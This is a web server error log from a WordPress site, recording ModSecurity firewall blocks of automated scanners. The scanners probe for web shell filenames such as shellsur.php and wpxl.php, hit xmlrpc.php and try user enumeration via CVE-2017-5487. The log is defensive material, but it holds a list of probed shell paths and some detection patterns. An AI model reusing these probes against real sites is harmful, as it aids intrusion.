[Wed Apr 08 09:25:39.425878 2026] [:error] [pid 16630:tid 16635] [client 103.168.67.159:7458] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adWukyjfVAkPG-jgJEpRQgAAAQM"]
[Wed Apr 08 09:25:40.138847 2026] [:error] [pid 47627:tid 47706] [client 103.168.67.159:7920] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adWulHOljf1Quv_kDjn1BQAAAIc"]
[Wed Apr 08 09:25:40.853640 2026] [:error] [pid 49984:tid 50009] [client 103.168.67.159:8332] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adWulOYY_Bz5lRHcJIE-uQAAAVM"]
[Wed Apr 08 09:25:41.564351 2026] [:error] [pid 49984:tid 49992] [client 103.168.67.159:63920] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adWuleYY_Bz5lRHcJIE-xgAAAUI"]
[Wed Apr 08 09:25:42.279444 2026] [:error] [pid 47626:tid 47675] [client 103.168.67.159:64276] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dashboard"] [unique_id "adWulqjWI8TWtHx2sdZKhAAAAEc"]
[Wed Apr 08 09:25:42.990835 2026] [:error] [pid 47625:tid 47657] [client 103.168.67.159:64732] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dashboard"] [unique_id "adWuliVuHyNWzZlE8PA3RAAAABc"]
[Wed Apr 08 09:25:43.746284 2026] [:error] [pid 16630:tid 16638] [client 103.168.67.159:65096] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dashboard"] [unique_id "adWulyjfVAkPG-jgJEpRWAAAAQY"]
[Wed Apr 08 09:25:44.452795 2026] [:error] [pid 16630:tid 16641] [client 103.168.67.159:65466] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dashboard"] [unique_id "adWumCjfVAkPG-jgJEpRaQAAAQk"]
[Wed Apr 08 10:39:58.950176 2026] [autoindex:error] [pid 544:tid 550] [client 167.86.102.235:51241] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Apr 08 11:31:02.786451 2026] [:error] [pid 16630:tid 16637] [client 135.129.119.83:46280] [client 135.129.119.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 135.129.119.83, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adXL9ijfVAkPG-jgJEqHawAAAQU"]
[Wed Apr 08 11:33:09.685351 2026] [:error] [pid 544:tid 553] [client 43.138.68.113:39706] [client 43.138.68.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adXMdTieLKSoiLVA6YfmcQAAAYQ"]
[Wed Apr 08 14:35:23.456659 2026] [:error] [pid 12453:tid 12463] [client 135.129.119.83:37133] [client 135.129.119.83] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "adX3KxjtW7S6XsLPvrRXHwAAAIg"]
[Wed Apr 08 14:36:57.492961 2026] [:error] [pid 12385:tid 12403] [client 135.129.119.83:53333] [client 135.129.119.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 135.129.119.83, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adX3iSAjtvRQEkLosq0ofgAAAA4"]
[Wed Apr 08 14:38:05.996097 2026] [:error] [pid 12490:tid 12492] [client 135.129.119.83:6719] [client 135.129.119.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 135.129.119.83, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adX3zW1Fea4F4fbumr3X-QAAAMA"]
[Wed Apr 08 14:39:11.599281 2026] [:error] [pid 12385:tid 12390] [client 135.129.119.83:19837] [client 135.129.119.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 135.129.119.83, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adX4DyAjtvRQEkLosq0p2wAAAAE"]
[Wed Apr 08 21:14:32.599538 2026] [:error] [pid 7047:tid 7057] [client 43.157.158.178:55572] [client 43.157.158.178] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adZUuONh3oGO3pKiCzwlFgAAAYg"]
[Wed Apr 08 23:44:07.112971 2026] [:error] [pid 64066:tid 64074] [client 72.146.17.160:54988] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zz8.php"] [unique_id "adZ3x1R3WucJgr2vZGajKQAAAUU"]
[Wed Apr 08 23:44:07.825963 2026] [:error] [pid 12490:tid 12506] [client 72.146.17.160:3973] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zz8.php"] [unique_id "adZ3x21Fea4F4fbumr1NrAAAAM4"]
[Wed Apr 08 23:44:08.412112 2026] [:error] [pid 12453:tid 12465] [client 72.146.17.160:38637] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zz8.php"] [unique_id "adZ3yBjtW7S6XsLPvrRwOAAAAIo"]
[Wed Apr 08 23:44:09.228032 2026] [:error] [pid 64066:tid 64076] [client 72.146.17.160:65343] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zz8.php"] [unique_id "adZ3yVR3WucJgr2vZGajPQAAAUc"]
[Wed Apr 08 23:44:10.174079 2026] [:error] [pid 64066:tid 64087] [client 72.146.17.160:54998] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aq.php"] [unique_id "adZ3ylR3WucJgr2vZGajRwAAAVI"]
[Wed Apr 08 23:44:11.094873 2026] [:error] [pid 64066:tid 64093] [client 72.146.17.160:52490] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aq.php"] [unique_id "adZ3y1R3WucJgr2vZGajVwAAAVg"]
[Wed Apr 08 23:44:11.697455 2026] [:error] [pid 64066:tid 64091] [client 72.146.17.160:37177] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aq.php"] [unique_id "adZ3y1R3WucJgr2vZGajYAAAAVY"]
[Wed Apr 08 23:44:12.313528 2026] [:error] [pid 7047:tid 7068] [client 72.146.17.160:56721] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aq.php"] [unique_id "adZ3zONh3oGO3pKiCzxXQAAAAZM"]
[Wed Apr 08 23:44:13.016275 2026] [:error] [pid 35642:tid 35661] [client 72.146.17.160:37713] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bmi.php"] [unique_id "adZ3zQ-CqryxdEs5DN94IgAAAFE"]
[Wed Apr 08 23:44:13.771572 2026] [:error] [pid 64066:tid 64092] [client 72.146.17.160:56713] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bmi.php"] [unique_id "adZ3zVR3WucJgr2vZGajdQAAAVc"]
[Wed Apr 08 23:44:14.449186 2026] [:error] [pid 64066:tid 64070] [client 72.146.17.160:64567] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bmi.php"] [unique_id "adZ3zlR3WucJgr2vZGajegAAAUE"]
[Wed Apr 08 23:44:15.161886 2026] [:error] [pid 35642:tid 35662] [client 72.146.17.160:37708] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bmi.php"] [unique_id "adZ3zw-CqryxdEs5DN94IwAAAFI"]
[Wed Apr 08 23:44:16.235356 2026] [:error] [pid 64066:tid 64070] [client 72.146.17.160:64575] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "adZ30FR3WucJgr2vZGajiQAAAUE"]
[Wed Apr 08 23:44:17.082676 2026] [:error] [pid 64066:tid 64089] [client 72.146.17.160:50534] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "adZ30VR3WucJgr2vZGajjwAAAVQ"]
[Wed Apr 08 23:44:17.689534 2026] [:error] [pid 64066:tid 64074] [client 72.146.17.160:52484] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "adZ30VR3WucJgr2vZGajlAAAAUU"]
[Wed Apr 08 23:44:18.855279 2026] [:error] [pid 64066:tid 64083] [client 72.146.17.160:37112] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "adZ30lR3WucJgr2vZGajrAAAAU4"]
[Wed Apr 08 23:44:19.900373 2026] [:error] [pid 64066:tid 64085] [client 72.146.17.160:42654] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/brad.php"] [unique_id "adZ301R3WucJgr2vZGajwAAAAVA"]
[Wed Apr 08 23:44:20.887885 2026] [:error] [pid 7047:tid 7049] [client 72.146.17.160:37124] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/brad.php"] [unique_id "adZ31ONh3oGO3pKiCzxXVAAAAYA"]
[Wed Apr 08 23:44:21.930659 2026] [:error] [pid 12490:tid 12492] [client 72.146.17.160:45859] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/brad.php"] [unique_id "adZ31W1Fea4F4fbumr1N-wAAAMA"]
[Wed Apr 08 23:44:23.088065 2026] [:error] [pid 7189:tid 7205] [client 72.146.17.160:37714] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/brad.php"] [unique_id "adZ31xaBqhBSu0L37loBoAAAAc4"]
[Wed Apr 08 23:44:24.003084 2026] [:error] [pid 64066:tid 64091] [client 72.146.17.160:56738] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/000.php"] [unique_id "adZ32FR3WucJgr2vZGaj1QAAAVY"]
[Wed Apr 08 23:44:24.865036 2026] [:error] [pid 12386:tid 12419] [client 72.146.17.160:56734] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/000.php"] [unique_id "adZ32BLhhLtqHi2gK7UyKwAAAQM"]
[Wed Apr 08 23:44:25.542406 2026] [:error] [pid 12490:tid 12500] [client 72.146.17.160:43749] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/000.php"] [unique_id "adZ32W1Fea4F4fbumr1OAwAAAMg"]
[Wed Apr 08 23:44:26.983006 2026] [:error] [pid 64066:tid 64072] [client 72.146.17.160:37776] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/000.php"] [unique_id "adZ32lR3WucJgr2vZGaj3wAAAUM"]
[Wed Apr 08 23:44:27.903503 2026] [:error] [pid 12490:tid 12503] [client 72.146.17.160:38646] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpxl.php"] [unique_id "adZ3221Fea4F4fbumr1OBQAAAMs"]
[Wed Apr 08 23:44:28.751861 2026] [:error] [pid 64066:tid 64071] [client 72.146.17.160:37776] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpxl.php"] [unique_id "adZ33FR3WucJgr2vZGaj5gAAAUI"]
[Wed Apr 08 23:44:30.885877 2026] [:error] [pid 64066:tid 64091] [client 72.146.17.160:49298] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpxl.php"] [unique_id "adZ33lR3WucJgr2vZGakHwAAAVY"]
[Wed Apr 08 23:44:32.387669 2026] [:error] [pid 64066:tid 64085] [client 72.146.17.160:39374] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpxl.php"] [unique_id "adZ34FR3WucJgr2vZGakOwAAAVA"]
[Wed Apr 08 23:44:33.898985 2026] [:error] [pid 7047:tid 7060] [client 72.146.17.160:65087] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shellsur.php"] [unique_id "adZ34eNh3oGO3pKiCzxXaQAAAYs"]
[Wed Apr 08 23:44:35.089300 2026] [:error] [pid 12453:tid 12460] [client 72.146.17.160:42624] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shellsur.php"] [unique_id "adZ34xjtW7S6XsLPvrRwYgAAAIU"]
[Wed Apr 08 23:44:35.893882 2026] [:error] [pid 12453:tid 12470] [client 72.146.17.160:45843] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shellsur.php"] [unique_id "adZ34xjtW7S6XsLPvrRwZAAAAI8"]
[Wed Apr 08 23:44:36.865772 2026] [:error] [pid 7189:tid 7193] [client 72.146.17.160:39361] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shellsur.php"] [unique_id "adZ35BaBqhBSu0L37loBpgAAAcI"]
[Wed Apr 08 23:44:37.782861 2026] [:error] [pid 7189:tid 7194] [client 72.146.17.160:65057] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ksvbdsyi.php"] [unique_id "adZ35RaBqhBSu0L37loBqwAAAcM"]
[Wed Apr 08 23:44:38.690012 2026] [:error] [pid 64066:tid 64071] [client 72.146.17.160:64480] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ksvbdsyi.php"] [unique_id "adZ35lR3WucJgr2vZGakWAAAAUI"]
[Wed Apr 08 23:44:39.493098 2026] [:error] [pid 64066:tid 64075] [client 72.146.17.160:63443] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ksvbdsyi.php"] [unique_id "adZ351R3WucJgr2vZGakZQAAAUY"]
[Wed Apr 08 23:44:40.630366 2026] [:error] [pid 64066:tid 64075] [client 72.146.17.160:33382] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ksvbdsyi.php"] [unique_id "adZ36FR3WucJgr2vZGakdwAAAUY"]
[Wed Apr 08 23:44:41.977251 2026] [:error] [pid 12490:tid 12502] [client 72.146.17.160:52111] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bom30txv.php"] [unique_id "adZ36W1Fea4F4fbumr1OUQAAAMo"]
[Wed Apr 08 23:44:43.042136 2026] [:error] [pid 12490:tid 12509] [client 72.146.17.160:48847] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bom30txv.php"] [unique_id "adZ3621Fea4F4fbumr1OVQAAANE"]
[Wed Apr 08 23:44:43.831935 2026] [:error] [pid 12453:tid 12467] [client 72.146.17.160:39883] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bom30txv.php"] [unique_id "adZ36xjtW7S6XsLPvrRwcwAAAIw"]
